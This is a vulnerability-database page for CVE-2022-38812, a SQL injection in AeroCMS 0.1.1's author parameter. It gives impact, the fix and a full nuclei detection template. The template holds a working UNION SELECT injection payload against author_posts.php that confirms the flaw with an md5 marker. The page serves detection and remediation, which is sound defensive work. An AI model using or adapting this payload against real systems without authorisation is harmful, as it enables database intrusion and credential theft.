HexBrain

Browse / CVEs / CVE-2022-38812

CVE-2022-38812· aerocms project / aerocms· CWE-89

AeroCMS 0.1.1 - SQL Injection

mediumseverity
6.5CVSS score
2.7%likelihood of exploitation, next 30 days
86%of all CVEs are less likely
Readycheck to confirm it

AeroCMS 0.1.1 contains a SQL injection caused by unsanitized author parameter, letting attackers execute arbitrary SQL commands, exploit requires crafted author input.

Impact

Authenticated attackers can exploit SQL injection in the author parameter to extract sensitive database information including user credentials, content data, and application configuration from the AeroCMS database.

Fix

Update AeroCMS to a version newer than 0.1.1 that properly sanitizes the author parameter and uses parameterized queries.

How to confirm it

Send: GET {{BaseURL}}/author_posts.php?author=admin%27%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(md5({{num}}),1,1),NULL,NULL,NULL,NULL… ; GET {{BaseURL}}/cms/author_posts.php?author=admin%27%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(md5({{num}}),1,1),NULL,NULL,NULL,…
Positive when: contains "{{md5(num)}}" AND status 200

Run it with nuclei: nuclei -id CVE-2022-38812 -u <target>

The full check
id: CVE-2022-38812

info:
  name: AeroCMS 0.1.1 - SQL Injection
  author: shivampand3y
  severity: medium
  description: |
    AeroCMS 0.1.1 contains a SQL injection caused by unsanitized author parameter, letting attackers execute arbitrary SQL commands, exploit requires crafted author input.
  impact: |
    Authenticated attackers can exploit SQL injection in the author parameter to extract sensitive database information including user credentials, content data, and application configuration from the AeroCMS database.
  remediation: |
    Update AeroCMS to a version newer than 0.1.1 that properly sanitizes the author parameter and uses parameterized queries.
  reference:
    - https://www.exploit-db.com/exploits/51022
    - https://www.nu11secur1ty.com/2022/08/aerocms-v001-sqli.html
    - https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/MegaTKC/2021/AeroCMS-v0.0.1-SQLi
    - https://nvd.nist.gov/vuln/detail/CVE-2022-38812
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2022-38812
    cwe-id: CWE-89
    epss-score: 0.02681
    epss-percentile: 0.85944
  metadata:
    verified: true
    max-request: 2
    vendor: aerocms_project
    product: aerocms
  tags: cve,cve2022,aero,cms,sqli,edb,vuln

variables:
  num: "999999999"

http:
  - method: GET
    path:
      - '{{BaseURL}}/author_posts.php?author=admin%27%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(md5({{num}}),1,1),NULL,NULL,NULL,NULL--%20-&p_id=1'
      - '{{BaseURL}}/cms/author_posts.php?author=admin%27%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(md5({{num}}),1,1),NULL,NULL,NULL,NULL--%20-&p_id=1'

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{{md5(num)}}'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from